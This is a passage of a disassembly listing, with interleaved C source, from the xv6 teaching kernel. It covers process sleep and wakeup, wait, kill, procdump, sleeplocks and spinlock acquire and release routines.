80103c44: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c4b: e8 d0 05 00 00 call 80104220 <release>
acquire(lk);
80103c50: 89 75 08 mov %esi,0x8(%ebp)
}
80103c53: 83 c4 1c add $0x1c,%esp
80103c56: 5b pop %ebx
80103c57: 5e pop %esi
80103c58: 5f pop %edi
80103c59: 5d pop %ebp
acquire(lk);
80103c5a: e9 d1 04 00 00 jmp 80104130 <acquire>
80103c5f: 90 nop
p->chan = chan;
80103c60: 89 78 20 mov %edi,0x20(%eax)
p->state = SLEEPING;
80103c63: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103c6a: e8 81 fd ff ff call 801039f0 <sched>
p->chan = 0;
80103c6f: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
}
80103c76: 83 c4 1c add $0x1c,%esp
80103c79: 5b pop %ebx
80103c7a: 5e pop %esi
80103c7b: 5f pop %edi
80103c7c: 5d pop %ebp
80103c7d: c3 ret
panic("sleep without lk");
80103c7e: c7 04 24 2f 74 10 80 movl $0x8010742f,(%esp)
80103c85: e8 d6 c6 ff ff call 80100360 <panic>
panic("sleep");
80103c8a: c7 04 24 29 74 10 80 movl $0x80107429,(%esp)
80103c91: e8 ca c6 ff ff call 80100360 <panic>
80103c96: 8d 76 00 lea 0x0(%esi),%esi
80103c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103ca0 <wait>:
{
80103ca0: 55 push %ebp
80103ca1: 89 e5 mov %esp,%ebp
80103ca3: 56 push %esi
80103ca4: 53 push %ebx
80103ca5: 83 ec 10 sub $0x10,%esp
struct proc *curproc = myproc();
80103ca8: e8 e3 f9 ff ff call 80103690 <myproc>
acquire(&ptable.lock);
80103cad: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
struct proc *curproc = myproc();
80103cb4: 89 c6 mov %eax,%esi
acquire(&ptable.lock);
80103cb6: e8 75 04 00 00 call 80104130 <acquire>
havekids = 0;
80103cbb: 31 c0 xor %eax,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cbd: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103cc2: eb 0f jmp 80103cd3 <wait+0x33>
80103cc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103cc8: 83 eb 80 sub $0xffffff80,%ebx
80103ccb: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103cd1: 74 1d je 80103cf0 <wait+0x50>
if(p->parent != curproc)
80103cd3: 39 73 14 cmp %esi,0x14(%ebx)
80103cd6: 75 f0 jne 80103cc8 <wait+0x28>
if(p->state == ZOMBIE){
80103cd8: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103cdc: 74 2f je 80103d0d <wait+0x6d>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cde: 83 eb 80 sub $0xffffff80,%ebx
havekids = 1;
80103ce1: b8 01 00 00 00 mov $0x1,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ce6: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103cec: 75 e5 jne 80103cd3 <wait+0x33>
80103cee: 66 90 xchg %ax,%ax
if(!havekids || curproc->killed){
80103cf0: 85 c0 test %eax,%eax
80103cf2: 74 6e je 80103d62 <wait+0xc2>
80103cf4: 8b 46 24 mov 0x24(%esi),%eax
80103cf7: 85 c0 test %eax,%eax
80103cf9: 75 67 jne 80103d62 <wait+0xc2>
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103cfb: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp)
80103d02: 80
80103d03: 89 34 24 mov %esi,(%esp)
80103d06: e8 e5 fe ff ff call 80103bf0 <sleep>
}
80103d0b: eb ae jmp 80103cbb <wait+0x1b>
kfree(p->kstack);
80103d0d: 8b 43 08 mov 0x8(%ebx),%eax
pid = p->pid;
80103d10: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103d13: 89 04 24 mov %eax,(%esp)
80103d16: e8 c5 e5 ff ff call 801022e0 <kfree>
freevm(p->pgdir);
80103d1b: 8b 43 04 mov 0x4(%ebx),%eax
p->kstack = 0;
80103d1e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103d25: 89 04 24 mov %eax,(%esp)
80103d28: e8 c3 2c 00 00 call 801069f0 <freevm>
release(&ptable.lock);
80103d2d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
p->pid = 0;
80103d34: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103d3b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103d42: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103d46: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80103d4d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80103d54: e8 c7 04 00 00 call 80104220 <release>
}
80103d59: 83 c4 10 add $0x10,%esp
return pid;
80103d5c: 89 f0 mov %esi,%eax
}
80103d5e: 5b pop %ebx
80103d5f: 5e pop %esi
80103d60: 5d pop %ebp
80103d61: c3 ret
release(&ptable.lock);
80103d62: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103d69: e8 b2 04 00 00 call 80104220 <release>
}
80103d6e: 83 c4 10 add $0x10,%esp
return -1;
80103d71: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103d76: 5b pop %ebx
80103d77: 5e pop %esi
80103d78: 5d pop %ebp
80103d79: c3 ret
80103d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103d80 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80103d80: 55 push %ebp
80103d81: 89 e5 mov %esp,%ebp
80103d83: 53 push %ebx
80103d84: 83 ec 14 sub $0x14,%esp
80103d87: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
80103d8a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103d91: e8 9a 03 00 00 call 80104130 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103d96: b8 54 2d 11 80 mov $0x80112d54,%eax
80103d9b: eb 0d jmp 80103daa <wakeup+0x2a>
80103d9d: 8d 76 00 lea 0x0(%esi),%esi
80103da0: 83 e8 80 sub $0xffffff80,%eax
80103da3: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103da8: 74 1e je 80103dc8 <wakeup+0x48>
if(p->state == SLEEPING && p->chan == chan)
80103daa: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103dae: 75 f0 jne 80103da0 <wakeup+0x20>
80103db0: 3b 58 20 cmp 0x20(%eax),%ebx
80103db3: 75 eb jne 80103da0 <wakeup+0x20>
p->state = RUNNABLE;
80103db5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103dbc: 83 e8 80 sub $0xffffff80,%eax
80103dbf: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103dc4: 75 e4 jne 80103daa <wakeup+0x2a>
80103dc6: 66 90 xchg %ax,%ax
wakeup1(chan);
release(&ptable.lock);
80103dc8: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp)
}
80103dcf: 83 c4 14 add $0x14,%esp
80103dd2: 5b pop %ebx
80103dd3: 5d pop %ebp
release(&ptable.lock);
80103dd4: e9 47 04 00 00 jmp 80104220 <release>
80103dd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103de0 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80103de0: 55 push %ebp
80103de1: 89 e5 mov %esp,%ebp
80103de3: 53 push %ebx
80103de4: 83 ec 14 sub $0x14,%esp
80103de7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
80103dea: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103df1: e8 3a 03 00 00 call 80104130 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103df6: b8 54 2d 11 80 mov $0x80112d54,%eax
80103dfb: eb 0d jmp 80103e0a <kill+0x2a>
80103dfd: 8d 76 00 lea 0x0(%esi),%esi
80103e00: 83 e8 80 sub $0xffffff80,%eax
80103e03: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103e08: 74 36 je 80103e40 <kill+0x60>
if(p->pid == pid){
80103e0a: 39 58 10 cmp %ebx,0x10(%eax)
80103e0d: 75 f1 jne 80103e00 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103e0f: 83 78 0c 02 cmpl $0x2,0xc(%eax)
p->killed = 1;
80103e13: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
if(p->state == SLEEPING)
80103e1a: 74 14 je 80103e30 <kill+0x50>
p->state = RUNNABLE;
release(&ptable.lock);
80103e1c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103e23: e8 f8 03 00 00 call 80104220 <release>
return 0;
}
}
release(&ptable.lock);
return -1;
}
80103e28: 83 c4 14 add $0x14,%esp
return 0;
80103e2b: 31 c0 xor %eax,%eax
}
80103e2d: 5b pop %ebx
80103e2e: 5d pop %ebp
80103e2f: c3 ret
p->state = RUNNABLE;
80103e30: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103e37: eb e3 jmp 80103e1c <kill+0x3c>
80103e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
80103e40: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103e47: e8 d4 03 00 00 call 80104220 <release>
}
80103e4c: 83 c4 14 add $0x14,%esp
return -1;
80103e4f: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103e54: 5b pop %ebx
80103e55: 5d pop %ebp
80103e56: c3 ret
80103e57: 89 f6 mov %esi,%esi
80103e59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103e60 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80103e60: 55 push %ebp
80103e61: 89 e5 mov %esp,%ebp
80103e63: 57 push %edi
80103e64: 56 push %esi
80103e65: 53 push %ebx
80103e66: bb c0 2d 11 80 mov $0x80112dc0,%ebx
80103e6b: 83 ec 4c sub $0x4c,%esp
80103e6e: 8d 75 e8 lea -0x18(%ebp),%esi
80103e71: eb 20 jmp 80103e93 <procdump+0x33>
80103e73: 90 nop
80103e74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80103e78: c7 04 24 67 78 10 80 movl $0x80107867,(%esp)
80103e7f: e8 cc c7 ff ff call 80100650 <cprintf>
80103e84: 83 eb 80 sub $0xffffff80,%ebx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e87: 81 fb c0 4d 11 80 cmp $0x80114dc0,%ebx
80103e8d: 0f 84 8d 00 00 00 je 80103f20 <procdump+0xc0>
if(p->state == UNUSED)
80103e93: 8b 43 a0 mov -0x60(%ebx),%eax
80103e96: 85 c0 test %eax,%eax
80103e98: 74 ea je 80103e84 <procdump+0x24>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103e9a: 83 f8 05 cmp $0x5,%eax
state = "???";
80103e9d: ba 40 74 10 80 mov $0x80107440,%edx
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103ea2: 77 11 ja 80103eb5 <procdump+0x55>
80103ea4: 8b 14 85 a0 74 10 80 mov -0x7fef8b60(,%eax,4),%edx
state = "???";
80103eab: b8 40 74 10 80 mov $0x80107440,%eax
80103eb0: 85 d2 test %edx,%edx
80103eb2: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80103eb5: 8b 43 a4 mov -0x5c(%ebx),%eax
80103eb8: 89 5c 24 0c mov %ebx,0xc(%esp)
80103ebc: 89 54 24 08 mov %edx,0x8(%esp)
80103ec0: c7 04 24 44 74 10 80 movl $0x80107444,(%esp)
80103ec7: 89 44 24 04 mov %eax,0x4(%esp)
80103ecb: e8 80 c7 ff ff call 80100650 <cprintf>
if(p->state == SLEEPING){
80103ed0: 83 7b a0 02 cmpl $0x2,-0x60(%ebx)
80103ed4: 75 a2 jne 80103e78 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80103ed6: 8d 45 c0 lea -0x40(%ebp),%eax
80103ed9: 89 44 24 04 mov %eax,0x4(%esp)
80103edd: 8b 43 b0 mov -0x50(%ebx),%eax
80103ee0: 8d 7d c0 lea -0x40(%ebp),%edi
80103ee3: 8b 40 0c mov 0xc(%eax),%eax
80103ee6: 83 c0 08 add $0x8,%eax
80103ee9: 89 04 24 mov %eax,(%esp)
80103eec: e8 6f 01 00 00 call 80104060 <getcallerpcs>
80103ef1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10 && pc[i] != 0; i++)
80103ef8: 8b 17 mov (%edi),%edx
80103efa: 85 d2 test %edx,%edx
80103efc: 0f 84 76 ff ff ff je 80103e78 <procdump+0x18>
cprintf(" %p", pc[i]);
80103f02: 89 54 24 04 mov %edx,0x4(%esp)
80103f06: 83 c7 04 add $0x4,%edi
80103f09: c7 04 24 81 6e 10 80 movl $0x80106e81,(%esp)
80103f10: e8 3b c7 ff ff call 80100650 <cprintf>
for(i=0; i<10 && pc[i] != 0; i++)
80103f15: 39 f7 cmp %esi,%edi
80103f17: 75 df jne 80103ef8 <procdump+0x98>
80103f19: e9 5a ff ff ff jmp 80103e78 <procdump+0x18>
80103f1e: 66 90 xchg %ax,%ax
}
}
80103f20: 83 c4 4c add $0x4c,%esp
80103f23: 5b pop %ebx
80103f24: 5e pop %esi
80103f25: 5f pop %edi
80103f26: 5d pop %ebp
80103f27: c3 ret
80103f28: 66 90 xchg %ax,%ax
80103f2a: 66 90 xchg %ax,%ax
80103f2c: 66 90 xchg %ax,%ax
80103f2e: 66 90 xchg %ax,%ax
80103f30 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
80103f30: 55 push %ebp
80103f31: 89 e5 mov %esp,%ebp
80103f33: 53 push %ebx
80103f34: 83 ec 14 sub $0x14,%esp
80103f37: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
80103f3a: c7 44 24 04 b8 74 10 movl $0x801074b8,0x4(%esp)
80103f41: 80
80103f42: 8d 43 04 lea 0x4(%ebx),%eax
80103f45: 89 04 24 mov %eax,(%esp)
80103f48: e8 f3 00 00 00 call 80104040 <initlock>
lk->name = name;
80103f4d: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
80103f50: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80103f56: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
lk->name = name;
80103f5d: 89 43 38 mov %eax,0x38(%ebx)
}
80103f60: 83 c4 14 add $0x14,%esp
80103f63: 5b pop %ebx
80103f64: 5d pop %ebp
80103f65: c3 ret
80103f66: 8d 76 00 lea 0x0(%esi),%esi
80103f69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103f70 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80103f70: 55 push %ebp
80103f71: 89 e5 mov %esp,%ebp
80103f73: 56 push %esi
80103f74: 53 push %ebx
80103f75: 83 ec 10 sub $0x10,%esp
80103f78: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80103f7b: 8d 73 04 lea 0x4(%ebx),%esi
80103f7e: 89 34 24 mov %esi,(%esp)
80103f81: e8 aa 01 00 00 call 80104130 <acquire>
while (lk->locked) {
80103f86: 8b 13 mov (%ebx),%edx
80103f88: 85 d2 test %edx,%edx
80103f8a: 74 16 je 80103fa2 <acquiresleep+0x32>
80103f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sleep(lk, &lk->lk);
80103f90: 89 74 24 04 mov %esi,0x4(%esp)
80103f94: 89 1c 24 mov %ebx,(%esp)
80103f97: e8 54 fc ff ff call 80103bf0 <sleep>
while (lk->locked) {
80103f9c: 8b 03 mov (%ebx),%eax
80103f9e: 85 c0 test %eax,%eax
80103fa0: 75 ee jne 80103f90 <acquiresleep+0x20>
}
lk->locked = 1;
80103fa2: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80103fa8: e8 e3 f6 ff ff call 80103690 <myproc>
80103fad: 8b 40 10 mov 0x10(%eax),%eax
80103fb0: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80103fb3: 89 75 08 mov %esi,0x8(%ebp)
}
80103fb6: 83 c4 10 add $0x10,%esp
80103fb9: 5b pop %ebx
80103fba: 5e pop %esi
80103fbb: 5d pop %ebp
release(&lk->lk);
80103fbc: e9 5f 02 00 00 jmp 80104220 <release>
80103fc1: eb 0d jmp 80103fd0 <releasesleep>
80103fc3: 90 nop
80103fc4: 90 nop
80103fc5: 90 nop
80103fc6: 90 nop
80103fc7: 90 nop
80103fc8: 90 nop
80103fc9: 90 nop
80103fca: 90 nop
80103fcb: 90 nop
80103fcc: 90 nop
80103fcd: 90 nop
80103fce: 90 nop
80103fcf: 90 nop
80103fd0 <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
80103fd0: 55 push %ebp
80103fd1: 89 e5 mov %esp,%ebp
80103fd3: 56 push %esi
80103fd4: 53 push %ebx
80103fd5: 83 ec 10 sub $0x10,%esp
80103fd8: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80103fdb: 8d 73 04 lea 0x4(%ebx),%esi
80103fde: 89 34 24 mov %esi,(%esp)
80103fe1: e8 4a 01 00 00 call 80104130 <acquire>
lk->locked = 0;
80103fe6: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80103fec: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
80103ff3: 89 1c 24 mov %ebx,(%esp)
80103ff6: e8 85 fd ff ff call 80103d80 <wakeup>
release(&lk->lk);
80103ffb: 89 75 08 mov %esi,0x8(%ebp)
}
80103ffe: 83 c4 10 add $0x10,%esp
80104001: 5b pop %ebx
80104002: 5e pop %esi
80104003: 5d pop %ebp
release(&lk->lk);
80104004: e9 17 02 00 00 jmp 80104220 <release>
80104009: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104010 <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
80104010: 55 push %ebp
80104011: 89 e5 mov %esp,%ebp
80104013: 56 push %esi
80104014: 53 push %ebx
80104015: 83 ec 10 sub $0x10,%esp
80104018: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
8010401b: 8d 73 04 lea 0x4(%ebx),%esi
8010401e: 89 34 24 mov %esi,(%esp)
80104021: e8 0a 01 00 00 call 80104130 <acquire>
r = lk->locked;
80104026: 8b 1b mov (%ebx),%ebx
release(&lk->lk);
80104028: 89 34 24 mov %esi,(%esp)
8010402b: e8 f0 01 00 00 call 80104220 <release>
return r;
}
80104030: 83 c4 10 add $0x10,%esp
80104033: 89 d8 mov %ebx,%eax
80104035: 5b pop %ebx
80104036: 5e pop %esi
80104037: 5d pop %ebp
80104038: c3 ret
80104039: 66 90 xchg %ax,%ax
8010403b: 66 90 xchg %ax,%ax
8010403d: 66 90 xchg %ax,%ax
8010403f: 90 nop
80104040 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104040: 55 push %ebp
80104041: 89 e5 mov %esp,%ebp
80104043: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104046: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104049: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->name = name;
8010404f: 89 50 04 mov %edx,0x4(%eax)
lk->cpu = 0;
80104052: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104059: 5d pop %ebp
8010405a: c3 ret
8010405b: 90 nop
8010405c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104060 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104060: 55 push %ebp
80104061: 89 e5 mov %esp,%ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104063: 8b 45 08 mov 0x8(%ebp),%eax
{
80104066: 8b 4d 0c mov 0xc(%ebp),%ecx
80104069: 53 push %ebx
ebp = (uint*)v - 2;
8010406a: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
8010406d: 31 c0 xor %eax,%eax
8010406f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104070: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104076: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010407c: 77 1a ja 80104098 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010407e: 8b 5a 04 mov 0x4(%edx),%ebx
80104081: 89 1c 81 mov %ebx,(%ecx,%eax,4)
for(i = 0; i < 10; i++){
80104084: 83 c0 01 add $0x1,%eax
ebp = (uint*)ebp[0]; // saved %ebp
80104087: 8b 12 mov (%edx),%edx
for(i = 0; i < 10; i++){
80104089: 83 f8 0a cmp $0xa,%eax
8010408c: 75 e2 jne 80104070 <getcallerpcs+0x10>
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010408e: 5b pop %ebx
8010408f: 5d pop %ebp
80104090: c3 ret
80104091: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
pcs[i] = 0;
80104098: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
for(; i < 10; i++)
8010409f: 83 c0 01 add $0x1,%eax
801040a2: 83 f8 0a cmp $0xa,%eax
801040a5: 74 e7 je 8010408e <getcallerpcs+0x2e>
pcs[i] = 0;
801040a7: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
for(; i < 10; i++)
801040ae: 83 c0 01 add $0x1,%eax
801040b1: 83 f8 0a cmp $0xa,%eax
801040b4: 75 e2 jne 80104098 <getcallerpcs+0x38>
801040b6: eb d6 jmp 8010408e <getcallerpcs+0x2e>
801040b8: 90 nop
801040b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801040c0 <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
801040c0: 55 push %ebp
return lock->locked && lock->cpu == mycpu();
801040c1: 31 c0 xor %eax,%eax
{
801040c3: 89 e5 mov %esp,%ebp
801040c5: 53 push %ebx
801040c6: 83 ec 04 sub $0x4,%esp
801040c9: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == mycpu();
801040cc: 8b 0a mov (%edx),%ecx
801040ce: 85 c9 test %ecx,%ecx
801040d0: 74 10 je 801040e2 <holding+0x22>
801040d2: 8b 5a 08 mov 0x8(%edx),%ebx
801040d5: e8 16 f5 ff ff call 801035f0 <mycpu>
801040da: 39 c3 cmp %eax,%ebx
801040dc: 0f 94 c0 sete %al
801040df: 0f b6 c0 movzbl %al,%eax
}
801040e2: 83 c4 04 add $0x4,%esp
801040e5: 5b pop %ebx
801040e6: 5d pop %ebp
801040e7: c3 ret
801040e8: 90 nop
801040e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801040f0 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
801040f0: 55 push %ebp
801040f1: 89 e5 mov %esp,%ebp
801040f3: 53 push %ebx
801040f4: 83 ec 04 sub $0x4,%esp
801040f7: 9c pushf
801040f8: 5b pop %ebx
asm volatile("cli");
801040f9: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
801040fa: e8 f1 f4 ff ff call 801035f0 <mycpu>
801040ff: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax
80104105: 85 c0 test %eax,%eax
80104107: 75 11 jne 8010411a <pushcli+0x2a>
mycpu()->intena = eflags & FL_IF;
80104109: e8 e2 f4 ff ff call 801035f0 <mycpu>
8010410e: 81 e3 00 02 00 00 and $0x200,%ebx
80104114: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
mycpu()->ncli += 1;
8010411a: e8 d1 f4 ff ff call 801035f0 <mycpu>
8010411f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
80104126: 83 c4 04 add $0x4,%esp
80104129: 5b pop %ebx
8010412a: 5d pop %ebp
8010412b: c3 ret
8010412c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104130 <acquire>:
{
80104130: 55 push %ebp
80104131: 89 e5 mov %esp,%ebp
80104133: 53 push %ebx
80104134: 83 ec 14 sub $0x14,%esp
pushcli(); // disable interrupts to avoid deadlock.
80104137: e8 b4 ff ff ff call 801040f0 <pushcli>
if(holding(lk))
8010413c: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == mycpu();
8010413f: 8b 02 mov (%edx),%eax
80104141: 85 c0 test %eax,%eax
80104143: 75 43 jne 80104188 <acquire+0x58>
asm volatile("lock; xchgl %0, %1" :
80104145: b9 01 00 00 00 mov $0x1,%ecx
8010414a: eb 07 jmp 80104153 <acquire+0x23>
8010414c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104150: 8b 55 08 mov 0x8(%ebp),%edx
80104153: 89 c8 mov %ecx,%eax
80104155: f0 87 02 lock xchg %eax,(%edx)
while(xchg(&lk->locked, 1) != 0)
80104158: 85 c0 test %eax,%eax
8010415a: 75 f4 jne 80104150 <acquire+0x20>
__sync_synchronize();
8010415c: 0f ae f0 mfence
lk->cpu = mycpu();
8010415f: 8b 5d 08 mov 0x8(%ebp),%ebx
80104162: e8 89 f4 ff ff call 801035f0 <mycpu>
80104167: 89 43 08 mov %eax,0x8(%ebx)
getcallerpcs(&lk, lk->pcs);
8010416a: 8b 45 08 mov 0x8(%ebp),%eax
8010416d: 83 c0 0c add $0xc,%eax
80104170: 89 44 24 04 mov %eax,0x4(%esp)
80104174: 8d 45 08 lea 0x8(%ebp),%eax
80104177: 89 04 24 mov %eax,(%esp)
8010417a: e8 e1 fe ff ff call 80104060 <getcallerpcs>
}
8010417f: 83 c4 14 add $0x14,%esp
80104182: 5b pop %ebx
80104183: 5d pop %ebp
80104184: c3 ret
80104185: 8d 76 00 lea 0x0(%esi),%esi
return lock->locked && lock->cpu == mycpu();
80104188: 8b 5a 08 mov 0x8(%edx),%ebx
8010418b: e8 60 f4 ff ff call 801035f0 <mycpu>
if(holding(lk))
80104190: 39 c3 cmp %eax,%ebx
80104192: 74 05 je 80104199 <acquire+0x69>
80104194: 8b 55 08 mov 0x8(%ebp),%edx
80104197: eb ac jmp 80104145 <acquire+0x15>
panic("acquire");
80104199: c7 04 24 c3 74 10 80 movl $0x801074c3,(%esp)
801041a0: e8 bb c1 ff ff call 80100360 <panic>
801041a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801041a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801041b0 <popcli>:
void
popcli(void)
{
801041b0: 55 push %ebp
801041b1: 89 e5 mov %esp,%ebp
801041b3: 83 ec 18 sub $0x18,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
801041b6: 9c pushf
801041b7: 58 pop %eax
if(readeflags()&FL_IF)
801041b8: f6 c4 02 test $0x2,%ah
801041bb: 75 49 jne 80104206 <popcli+0x56>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
801041bd: e8 2e f4 ff ff call 801035f0 <mycpu>
801041c2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx
801041c8: 8d 51 ff lea -0x1(%ecx),%edx
801041cb: 85 d2 test %edx,%edx
801041cd: 89 90 a4 00 00 00 mov %edx,0xa4(%eax)
801041d3: 78 25 js 801041fa <popcli+0x4a>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
801041d5: e8 16 f4 ff ff call 801035f0 <mycpu>
801041da: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx
801041e0: 85 d2 test %edx,%edx
801041e2: 74 04 je 801041e8 <popcli+0x38>
sti();
}
801041e4: c9 leave
801041e5: c3 ret
801041e6: 66 90 xchg %ax,%ax
if(mycpu()->ncli == 0 && mycpu()->intena)
801041e8: e8 03 f4 ff ff call 801035f0 <mycpu>
801041ed: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
801041f3: 85 c0 test %eax,%eax
801041f5: 74 ed je 801041e4 <popcli+0x34>
asm volatile("sti");
801041f7: fb sti
}
801041f8: c9 leave
801041f9: c3 ret
panic("popcli");
801041fa: c7 04 24 e2 74 10 80 movl $0x801074e2,(%esp)
80104201: e8 5a c1 ff ff call 80100360 <panic>
panic("popcli - interruptible");
80104206: c7 04 24 cb 74 10 80 movl $0x801074cb,(%esp)
8010420d: e8 4e c1 ff ff call 80100360 <panic>
80104212: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
